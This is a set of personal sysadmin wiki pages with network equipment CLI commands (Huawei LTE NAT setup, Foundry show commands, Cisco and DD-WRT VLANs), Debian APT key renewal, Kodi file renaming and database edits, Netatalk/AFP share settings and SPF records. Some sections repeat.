[Router-ip-pool-4gpool] quit

*; Configure the interface to work in global address pool mode.

[Router] interface vlanif 10
[Router-Vlanif10] ip address 192.168.100.1 255.255.255.0
[Router-Vlanif10] dhcp select global
[Router-Vlanif10] quit

*; Configure the NAT function.

[Router] acl number 3002
[Router-acl-adv-3002] rule 5 permit ip source 192.168.100.0 0.0.0.255
[Router-acl-adv-3002] quit
[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] nat outbound 3002
[Router-Cellular0/0/0] quit

*; Configure a default route and specify Cellular0/0/0 as the outbound interface.

[Router] ip route-static 0.0.0.0 0 cellular 0/0/0

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
config private_vlan [<vlan_name 32> | vid <vlanid 1-4094>] [add [isolated | community] | remove]
[<vlan_name 32> | vlanid <vidlist>]
show private_vlan { [vlan_name 32> | vlanid <vidlist>] }
</pre>

== Foundry ==

=== show ===
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list Show access list hit statistics
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
debug Debug information
default System default settings
dot1x dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
interfaces Port status
ip IP address setting
ipv6 IP setting
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
logging System log
mac-address MAC address table
media Gig port SX/LX/LHA/LHB
memory System memory usage
metro-ring metro ring protocol information
mirror Mirror ports
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
ptrace Global ptrace information
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
rmon Rmon status
running-config Current running-config
sflow sflow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard Show stp bpdu guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
transmit-counter Transmit Queue Counters
trunk Show trunk status
users User accounts
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
who User login
| Output modifiers
<cr>

=== enable ===
* when logged in, the "enable" command give you the administration rights
* in this status we can monitor e check configuration.
<syntaxhighlight lang=visualfoxpro >
$ enable
password...
# _
</syntaxhighlight>

* entering in "edit configuration" mode, you can edit the configuration, '''live!''' be very careful
<syntaxhighlight lang=visualfoxpro >
config [te]
password...
(config)#
</syntaxhighlight>

* after making changes, you can check them with this command (because "show config" will give you the configuration saved in memory, not the running one that you just modified.
<syntaxhighlight lang=visualfoxpro >
(config)# show running-config
[...]
</syntaxhighlight>

* after all your checks, this is the command to save the changes permanently.
<syntaxhighlight lang=visualfoxpro >
(config)# write memory
#
</syntaxhighlight>

* an option to backup the configuration is to copy it by TFTP to a server.
<syntaxhighlight lang=visualfoxpro >
#copy running-config tftp 1.2.3.123 router-config-20122112.txt
#Upload running-config to TFTP server done.
</syntaxhighlight>

=== show cpu ===
show cpu
<syntaxhighlight lang=visualfoxpro >
31 percent busy, from 3248 sec ago 1 sec avg:
31 percent busy 5 sec avg:
31 percent busy 60 sec avg:
31 percent busy

300 sec avg: 31 percent busy
</syntaxhighlight>

* cpu/process utilizaiton
<syntaxhighlight lang=visualfoxpro >
# show process cpu
Process Name
ACL
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP
5Sec(%) 1Min(%)
0.00 0.00
0.01 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
5Min(%) 15Min(%)
Runtime(ms)
0.00 0.00 0
0.01 0.01 714 0.00 0.00 0 0.00 0.00 0 0.00 0.00 0 0.00 0.00 161 0.00 0.00 229 0.00 0.01 673 0.00 0.00 0 0.00 0.00 9 0.00 0.00 7 0.00 0.00 0
</syntaxhighlight>

=== port status short ===
* show interface brief
<syntaxhighlight lang=visualfoxpro >
Port Link State Dupl Speed Trunk Tag Priori MAC Name
1 Up Forward Full 1G None No level0 0012.f286....
2 Disable None None None None No level0 0012.f286....

Port Link State Dupl Speed Trunk Tag Priori MAC Name
ve10 Up N/A N/A N/A None N/A N/A 0012.f286....
</syntaxhighlight>
=== ip traffic ===
<syntaxhighlight lang=visualfoxpro >
#show ip traffic
IP Statistics
249333533 received, 92410 sent, 248630753 forwarded
0 filtered, 0 fragmented, 0 reassembled, 4480 bad header
495 no route, 0 unknown proto, 0 no buffer, 43582 other errors

ARP Statistics
151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent
0 pending drop, 0 invalid source, 0 invalid dest

ICMP Statistics
Received:
13364 total, 25 errors, 103 unreachable, 25 time exceed
0 parameter, 0 source quench, 0 redirect, 13202 echo,
9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation
Sent:
55536 total, 0 errors, 38105 unreachable, 4205 time exceed
24 parameter, 0 source quench, 0 redirect, 0 echo,
13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask
0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation

UDP Statistics
173951 received, 15129 sent, 119850 no port, 0 input errors
</syntaxhighlight>

=== MAC address table ===
show mac-address
<syntaxhighlight lang=visualfoxpro >
Total active entries from all ports = 69
MAC-Address Port Type Index VLAN
0800.270c.ce47 5 Dynamic 30 113
0011.7800.9a44 8 Dynamic 14232 200
</syntaxhighlight>
=== ethernet data flow statistics ===
* show rmon statistics
<syntaxhighlight lang=visualfoxpro >
Ethernet statistics 1 is active, owned by monitor
Interface 1 (ifIndex 1) counters
Octets 62219423556
Drop events 0 Packets 74215428
Broadcast pkts 613 Multicast pkts 83808
CRC align errors 0 Undersize pkts 0
Oversize pkts 0 Fragments 0
Jabbers 0 Collisions 0

Packet size counters
64 8199939 65 to 127 21283872
128 to 255 2667477 256 to 511 1406813
512 to 1023 2001555 1024 to 1518 38655772
</syntaxhighlight>

=== physical media installed in port ===
* show media
<syntaxhighlight lang=visualfoxpro >
1:M-SX 2: 3: 4: 5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C
</syntaxhighlight>

* C1550 – CWDM transceiver with 1550 nm wavelength
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver
* M-FX – 100BaseFX fiber mini-GBIC
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC
* M-LX – 1000BaseLX fiber mini-GBIC
* M-SX – 1000BaseSX fiber mini-GBIC
* M-TX – 1000BaseTX copper mini-GBIC
* M-XR – 1000BaseSX 2 fiber mini-GBIC
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC
* M-LHA 1000BaseLHA fiber mini-GBIC

=== interface speed ===

Router(config)# interface e 8
Router(config-if-e1000-8)# speed-duplex 10-full

=== ethernet details ===
* show interface ethernet 1
<syntaxhighlight lang=visualfoxpro >
GigabitEthernet1 is up, line protocol is up
Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)
Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx
Configured mdi mode AUTO, actual MDI
Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING
BPDU guard is Disabled, ROOT protect is Disabled
Link Error Dampening is Disabled
STP configured to ON, priority is level0
Flow Control is config enabled, oper enabled, negotiation disabled
mirror disabled, monitor disabled
Not member of any active trunks
Not member of any configured trunks
No port name
IPG MII 96 bits-time, IPG GMII 96 bits-time
IP MTU 1500 bytes, encapsulation ethernet
300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization
300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization
35819040 packets input, 31760156880 bytes, 0 no buffer
Received 559 broadcasts, 83280 multicasts, 35735201 unicasts
0 input errors, 0 CRC, 0 frame, 0 ignored
0 runts, 0 giants
38293277 packets output, 30371035971 bytes, 0 underruns
Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts
0 output errors, 0 collisions
</syntaxhighlight>

=== ip routes ===
show ip
<syntaxhighlight lang=visualfoxpro >
Global Settings
ttl: 64, arp-age: 10, bootp-relay-max-hops: 4
router-id : 0.0.0.0
enabled : UDP-Broadcast-Forwarding Source-Route Load-Sharing RARP
disabled: Route-Only Directed-Broadcast-Forwarding IRDP Proxy-ARP RIP DVMRP VRRP VRRP-Extended
Static Routes
Index IP Address Subnet Mask Next Hop Router Metric Distance
1 0.0.0.0 0.0.0.0 145.145.24.140 1 1 0
2 192.168.251.0 255.255.255.0 192.168.252.1 1 1 0
</syntaxhighlight>

=== ip interface networks ===
<syntaxhighlight lang=visualfoxpro >
show ip interface
Interface IP-Address OK? Method Status Protocol
Ve 10 1.5.4.1 YES NVRAM up up
Ve 100 1.2.1.33 YES NVRAM up up
Ve 101 1.2.1.129 YES NVRAM up up
Ve 102 1.2.1.193 YES NVRAM up up
Ve 103 1.2.1.225 YES NVRAM up up
Ve 104 1.2.1.241 YES NVRAM up up
Ve 105 1.2.1.249 YES NVRAM up up
Ve 106 1.2.1.17 YES NVRAM up up
Ve 111 1.2.1.65 YES NVRAM up up
Ve 112 1.2.1.81 YES NVRAM up up
Ve 113 1.2.1.97 YES NVRAM up up
Ve 200 1.2.3.4 YES NVRAM up up
</syntaxhighlight>

=== add VLAN ===

<syntaxhighlight lang=visualfoxpro >
vlan 123 name v-users by port
tagged ethe 2 to 4
</syntaxhighlight>

=== VLAN detail ===
* show vlans
<syntaxhighlight lang=visualfoxpro >
Total PORT-VLAN entries: 19
Maximum PORT-VLAN entries: 4095
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off
Untagged Ports: 2 3 4 19 20
Tagged Ports: None
Uplink Ports: None
DualMode Ports: None
</syntaxhighlight>

=== virtual ethernet configuration ===
* is the ip configuration of the vlan subnet
<syntaxhighlight lang=visualfoxpro >

interface ve 300
port-name v-secondary
ip access-group 300 in
ip address 1.2.1.1 255.255.255.240
!
interface ve 100
port-name v-primary
ip address 1.2.3.1 255.255.252.0

</syntaxhighlight>

=== access list per IP ===
* access list used by virtual ethernet
<syntaxhighlight lang=visualfoxpro >

access-list 10 permit 1.2.3.0 0.0.3.255
access-list 10 permit 1.2.1.0 0.0.0.255
access-list 10 deny any log

access-list 300 deny ip any 1.2.3.0 0.0.3.255 log
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log
access-list 300 permit ip any any

access-list 103 permit ip any 1.2.5.0 0.0.0.255
</syntaxhighlight>

=== set DNS ===
* add 3 DNS servers:
<syntaxhighlight lang=python >
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104
</syntaxhighlight>

* del 1 DNS server:
<syntaxhighlight lang=python >
no ip dns server-address 10.11.12.13
</syntaxhighlight>

=== SSH management config ===

<syntaxhighlight lang=visualfoxpro >
ip ssh key-authentication no
ip ssh source-interface ve 200
</syntaxhighlight>

=== add port to VLAN ===

<syntaxhighlight lang=visualfoxpro >

* add tagged port:
# vlan 4
(vlan-4)# tag ethe 11
# end
* add untagged port
(vlan-4)# untag ethe 11
# end
</syntaxhighlight>

=== remove port from VLAN ===
<syntaxhighlight lang=visualfoxpro >
* remove un-tagged port:
#vlan 4
(vlan-4)# no untag ethe 11
# end
* tagged port
(vlan-4)# no tag ethe 11
# end
</syntaxhighlight>

=== change temperature warning level ===

* temperature at when the device will give warning
# temperature warning 47
* temperature at when the device will shut down
# temperature shutdown 57
* change the polling time interval
# chassis poll-time 200

=== change logging size ===
<syntaxhighlight lang=visualfoxpro >
#config te
BR-SSH@coresw1(config)#logging buffered 300
Reload required. Please write memory and then reload or power cycle.
BR-SSH@coresw1(config)#write memory
Write startup-config done.
BR-SSH@coresw1(config)#end
BR-SSH@coresw1#reload
Are you sure? (enter 'y' or 'n'): y
</syntaxhighlight>

Debian

2022-07-06T11:41:08Z

Porcelinux: /* Keys */

Linux Distribution

http://www.debian.org/

*; Releases
*Debian 12 (Bookworm)
*Debian 11 (Bullseye)
*Debian 10 (Buster)
*Debian 9 (Stretch)
*Debian 8 (Jessie)
*Debian 7 (wheezy)
*Debian 6 (squeeze)
*Debian GNU/Linux 5.0 (lenny)
*Debian GNU/Linux 4.0 (etch)
*Debian GNU/Linux 3.1 (sarge)
*Debian GNU/Linux 3.0 (woody)
*Debian GNU/Linux 2.2 (potato)
*Debian GNU/Linux 2.1 (slink)
*Debian GNU/Linux 2.0 (hamm)

= APT =
* skip suggested packages:
--no-install-recommends
== testing software ==

* add the backport repo: /etc/apt/sources.list
deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free
* update.....
apt-get update
* install the newest package
aptitude -t lenny-backports install <latest_software>

== how big is your disk ==
* this will tell you how much disk space the next upgrade will take
# apt-get -o APT::Get::Trivial-Only=true dist-upgrade

== package architecture (arm64) does not match system (armhf) ==

Errors were encountered while processing:
mongodb-org-server_4.4.9_arm64.deb
root@raspberrypi02:~# dpkg --add-architecture arm64

== Keys ==

<pre>
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA
W: You may want to run apt-get update to correct these problems
</pre>

*; apt-key list | grep -A 1 expired
<pre>
pub 1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]
uid Debian Archive Automatic Signing Key (4.0/etch) <ftpmaster@debian.org>
--
pub 1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]
uid Debian-Volatile Archive Automatic Signing Key (4.0/etch)
--
pub 1024D/F42584E6 2008-04-06 [expired: 2012-05-15]
uid Lenny Stable Release Key <debian-release@lists.debian.org>
--
pub 4096R/55BE302B 2009-01-27 [expired: 2012-12-31]
uid Debian Archive Automatic Signing Key (5.0/lenny) <ftpmaster@debian.org>
--
pub 2048R/6D849617 2009-01-24 [expired: 2013-01-23]
uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny)
</pre>
* and renew them with a small script
for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617
do gpg --keyserver pgpkeys.mit.edu --recv-key $a
gpg -a --export $a | apt-key add -
done

= General =

= locale settings =

* edit the file:
/etc/environment
;;;
LANG=en_IN
LC_MESSAGES=en_IN
* or
LANG=it_IT
LC_MESSAGES=it_IT

* and
/etc/locale.gen
;;;
en_US.UTF-8 UTF-8
it_IT ISO-8859-1
it_IT.UTF-8 UTF-8
it_IT@euro ISO-8859-15
en_IN UTF-8

/etc/environment && locale-gen

Kodi

2022-06-29T07:29:26Z

Porcelinux: /* Database */

Kodi (formerly XBMC) is a free and open-source media player software application developed by the XBMC Foundation" (from Wikipedia)

https://kodi.tv/

= Library =
Library management is the reason why i started using Kodi in the first place.

The tricky part is, the names of the files you want to add to Kodi, need to be in the correct form:
*Movies:
Movie Title (YEAR)/Movie Title (YEAR).extension
Movie Title (YEAR).extension
*TV Shows
TV Show Title (YEAR)/
Season NUMBER/
Episode Title.extension
or TV Show Title (YEAR) Episode Title.extension

more from Kodi's wiki : https://kodi.wiki/view/Naming_video_files

== Renaming Files (fast)==

*example filename to "standardize":
TV Show 2006 2x13 Episode Title XviD [MM]blabla.avi
* command to rename all .avi files in current directory
rename -v 's/^(.*) 2006 [0-9]x([0-9][0-9])(.*)$/$1 S03E$3$4/' *.avi

*;more examples:

*2ACX12-Episode Title.rm
rename 's/2ACX([0-9][0-9]) - (\w+)/TV Show S02E$1 $2/' *.rm -v

*TV Show - 4ACX29 - Episode Title -.avi
rename 's/TV Show - 4ACX([0-9][0-9]) - (\w+)/TV Show S04E$1 $2/' *.avi -vn

*S1EP02.avi
rename 's/(.*)/TV Show $1/' *.avi

*TV Show [3x01] Episode Title.avi
rename -v 's/(.*) \[([0-9])x([0-9][0-9])\] (.*)\.avi/$1 S0$2E$3 $4\.avi/' *.avi

== Database ==

* database location
/home/osmc/.kodi/userdata/Database/
*or
/home/xbian/.kodi/userdata/Database/

* database files
MyVideosxxx.db.

* sqlite

*
advancedsettings.xml

== Manually edit ==

* Offline
# shutdown kodi
# mount microSD on a linux computer (or any reading ext4 filesystems)
# open the file with sqlite
# execute needed queries, see examples

* the following query changes the source of a title from local path to NFS
update 'path' set
strPath = replace(strPath, '/media/vol1/Videos/', 'nfs://192.168.0.1/nfs/Public/Shared Videos/')
where
strPath like '/media/vol1/Videos/%';
Result: query executed successfully. Took 1ms, 19 rows affected

= Debug =

Log:
tail -f /home/xbian/.kodi/temp/kodi.log

= default password =
*:xbian distribution
user:xbian
pass:raspberry
*:OSMC distribution
user:osmc
pass:osmc

AFP

2022-06-28T13:50:58Z

Porcelinux:

this is the protocol used for network file sharing in Apple systems (at leas for the latest ones)

= V>=3.1 server settings =
in /etc/netatalk/
* afp.conf is the ''only'' .conf file now.

= V2<= server settings =

in /etc/netatalk/
* afpd.conf is the server configuration file, a backup server might look like this:
- -transall -ipaddr 192.168.0.10 -port 548 -noddp -uamlist uams_dhx.so,uams_dhx2.so -nozeroconf

== user permissions ==

* in /etc/netatalk/AppleVolumes.default we can set the file permissions to use for each service.
** example: we have a network with an all-users group and we want them to be able to overwrite each-other files. Others can read:
*** umask:002
*** dperm:0775
*** fperm:0664
** default linux behaviour, with read only to group users.
*** umask:022
*** dperm:0755
*** fperm:0644

* the complete line:
/directory/shared/ "Awesome Share" options:usedots,upriv,noadouble,nohex cnidscheme:cdb umask:002 dperm:0775 fperm:0664

== veto files ==
* this option hides the objects specified between slashes
veto: recycled/desktop.ini/Folder Settings/

== UAM list ==
* usually in one of these dirs:
/usr/local/etc/netatalk/uams
/usr/lib/atalk
/usr/lib64/netatalk

ls /usr/lib/atalk/
uams_dhx2_pam.so uams_dhx2_passwd.so uams_dhx_pam.so uams_dhx_passwd.so uams_gss.so uams_guest.so uams_pam.so uams_passwd.so uams_randnum.so

== Fedora 18 ==
* a config file is located here:
/usr/libexec/netatalk/netatalk.sh

= Volumes =

<syntaxhighlight lang=php>
path [name] [casefold:x] [options:z,l,j] \
[allow:a,@b,c,d] [deny:a,@b,c,d] [dbpath:path] [password:p] \
[rwlist:a,@b,c,d] [rolist:a,@b,c,d] [limitsize:value in bytes] \
[preexec:cmd] [root_preexec:cmd] [postexec:cmd] [root_postexec:cmd] \
[allowed_hosts:IPv4 address[/IPv4 netmask bits]] \
[denied_hosts:IPv4 address[/IPv4 netmask bits]] \
... more, see below ...
</syntaxhighlight>

* defaults:
:DEFAULT: options:upriv,usedots,tm umask:002 dperm:0775 fperm:0664
* only user home with defaults:
~
* a time machine volume (user based) :
/backup/timemachine/$u/ "TimeMachine" options:usedots,upriv,noadouble,nohex,tm

* a share allowed only to some users and group "video"
/export/ingestion "Ingest" options:usedots,upriv,noadouble,nohex cnidscheme:cdb umask:002 dperm:0775 fperm:0664 allow:ale,jack,@video

== a read only share ==

* we need to create an hidden folder for AppleDB files:
mkdir /share/hidden
chmod 700 /share/hidden
dbpath:/share/hidden/.AppleDB/

* a read only share
/export/mirror/share "Share-snapshot" options:usedots,noadouble,nohex,ro,nocnidcache

= problem solving =

== Finder '''"stuck"''' on connect to share ==
* in the log you'll see the server stopping after a message like this:
''''' afpd[]: Setting uid/gid to 100/100'''''

* the solution in my case was:
** stop the server
** remove the Finder database file '''.AppleDB'''
** restart server.

find . -maxdepth 9 -name '.AppleDouble' -type d -exec rm -rf "{}" \;
find . -maxdepth 9 -name '._.DS_Store' -delete
find . -name \.AppleDouble -o -name \.AppleDB -o -name \.DS_Store -o -name \.AppleDesktop -o -name Network\ Trash\ Folder -o -name Temporary\ Items -delete

== when having a mirror server ==

* DB becomes inconsistent due to path change (if different server) , the [[RSYNC]] command will need to exclude some files:
<pre>
cat /mirror/excludes_afp
.AppleDB/
.DS_Store
.AppleDesktop/
.AppleDouble/
.TemporaryItems/
Temporary Items/
Network Trash Folder/
</pre>
* example:
rsync -a --delete --delete-excluded --exclude-from=excludes_afp source_host:/dir/ /mirror/host/

* mediacluster excludes
<pre>
.encoding.log
.encoding.log.post.txt
.encoding.log.p2.txt
.stats.mbtree
.stats
ingestion/done/
virtual/
</pre>

== version 3 ==
<pre>
* Following config files are obsolete now:
* afpd.conf, netatalk.conf, AppleVolumes.default and afp_ldap.conf
* in favour of
* /etc/afp.conf

* Please convert your existing configs before you restart your daemon

* The new AppleDouble default backend is appledouble = ea
* Existing entries will be updated on access, but can do an offline
* conversion with
* dbd -ruve /path/to/Volume
</pre>

= variables =

<syntaxhighlight lang=php>
rules:
1) if you specify an unknown variable, it will not get converted.
2) if you specify a known variable, but that variable doesn't have
a value, it will get ignored.

the variables:
$b -> basename of path
$c -> client's ip or appletalk address
$d -> volume pathname on server
$f -> full name (whatever's in the gecos field)
$g -> group
$h -> hostname
$i -> client ip without tcp port or appletalk network
$s -> server name (can be the hostname)
$u -> username (if guest, it's whatever user guest is running as)
$v -> volume name (either ADEID_NAME or basename of path)
$z -> zone (may not exist)
$$ -> $
</syntaxhighlight>

= references =
* http://netatalk.sourceforge.net/2.0/htmldocs/configuration.html
* http://www.cnpbagwell.com/linux/fedora-13-and-os-x-10-6-interworking

Spf

2022-06-28T10:43:45Z

Porcelinux: Created page with " * Soft Fail v=spf1 ip4:85.214.201.250/32 ~all * Fail v=spf1 ip4:85.214.201.250/32 -all"

* Soft Fail
v=spf1 ip4:85.214.201.250/32 ~all
* Fail
v=spf1 ip4:85.214.201.250/32 -all

Router-language

2022-06-26T17:39:40Z

Porcelinux: /* NAT tutorial */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

*; Save config
# write memory

=== VLAN ===
*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port-VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; IEEE 802.1Q trunking
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

== DD-WRT ==

* show all variables named/containing '''<something>'''
nvram show|grep <something>
nvram show|grep ports

* unset all variables named/containing '''<something>'''
for a in $(nvram show|grep <something>|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

# nvram commit

*[edit] Port Attributes

0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!
16 Tagged
17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)
18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)
19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)
20 = NOT Enabled (ie. disabled)
21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)

=== VLAN ===

vlan#ports
Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified.
port#vlans
Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc.
vlan#hwname
Activates a vlan, ensuring it is properly initialized.

*attributes
These are suffixes for the final CPU port number.
*"t"
tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan.
*"u"
used on WAN vlan, to ensure WAN traffic is untagged.
*"*"
used on default LAN VLAN, untagged incoming traffic goes here.

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

*; Create an APN profile.

<Huawei> system-view
[Huawei] sysname Router
[Router] apn profile lteprofile
[Router-apn-profile-lteprofile] apn ltenet
[Router-apn-profile-lteprofile] quit

*; Configure a network connection mode.

[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] mode lte auto

*; Bind the APN profile to the LTE cellular interface.

[Router-Cellular0/0/0] dialer enable-circular
[Router-Cellular0/0/0] apn-profile ltenet
[Router-Cellular0/0/0] shutdown
[Router-Cellular0/0/0] undo shutdown
[Router-Cellular0/0/0] quit

Configure C-DCC for dial-up connection.

*; Configure a dialer control list.

[Router] dialer-rule
[Router-dialer-rule] dialer-rule 1 ip permit
[Router-dialer-rule] quit

*; Obtain IP addresses dynamically.

[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] ip address negotiate

*; Associate Cellular0/0/0 to the dialer control list.

[Router-Cellular0/0/0] dialer-group 1

Ensure that the group-number value in the dialer-group command is the same as the dialer-rule-number value in the dialer-rule command.

*; Configure the dialer number.

[Router-Cellular0/0/0] dialer number *99# autodial
[Router-Cellular0/0/0] quit

*;Configure the enterprise intranet.

* Create VLAN 10 and add Ethernet 2/0/0 to VLAN 10.

[Router] vlan 10
[Router-vlan10] quit
[Router] interface ethernet 2/0/0
[Router-Ethernet2/0/0] port link-type trunk
[Router-Ethernet2/0/0] port trunk allow-pass vlan 10
[Router-Ethernet2/0/0] quit

*; Enable DHCP.

[Router] dhcp enable

*; Create a global address pool.

[Router] ip pool 4gpool
[Router-ip-pool-4gpool] network 192.168.100.0 mask 255.255.255.0
[Router-ip-pool-4gpool] gateway-list 192.168.100.1
[Router-ip-pool-4gpool] quit

*; Configure the interface to work in global address pool mode.

[Router] interface vlanif 10
[Router-Vlanif10] ip address 192.168.100.1 255.255.255.0
[Router-Vlanif10] dhcp select global
[Router-Vlanif10] quit

*; Configure the NAT function.

[Router] acl number 3002
[Router-acl-adv-3002] rule 5 permit ip source 192.168.100.0 0.0.0.255
[Router-acl-adv-3002] quit
[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] nat outbound 3002
[Router-Cellular0/0/0] quit

*; Configure a default route and specify Cellular0/0/0 as the outbound interface.

[Router] ip route-static 0.0.0.0 0 cellular 0/0/0

== DLink ==

xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual

<pre>
VLAN Command List
create vlan <vlan_name 32 > tag <vlanid 2-4094> { type [1q_vlan advertisement | private_vlan] }
create vlan vlanid <vidlist> { type [1q_vlan | private_vlan] { advertisement } }
delete vlan <vlan_name>
delete vlan vlanid <vlanid_list>
config vlan < vlan_name > { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ] }
config vlan vlanid <vidlist> { [ add [ tagged | untagged | forbidden ] | delete ] <portlist> |
advertisement [ enable | disable ]| name <vlan_name>}
config vlan <vlan_name
> delete <portlist>
config vlan vlanid <vlanid_
list> delete <portlist>
config gvrp [<portlist> | all] {state [enable | disable] | ingress_checking [enable | disable]
|acceptable_frame[tagged_only | admit_all] pvid<vlanid 1-4094> }
enable gvrp
disable gvrp
show vlan { <vlan_name 32> | vlanid
<vlanid_list> | ports <portlist>}
show gvrp {<portlist>}
enable pvid auto_assign
disable pvid auto_assign
show pvid auto_assign
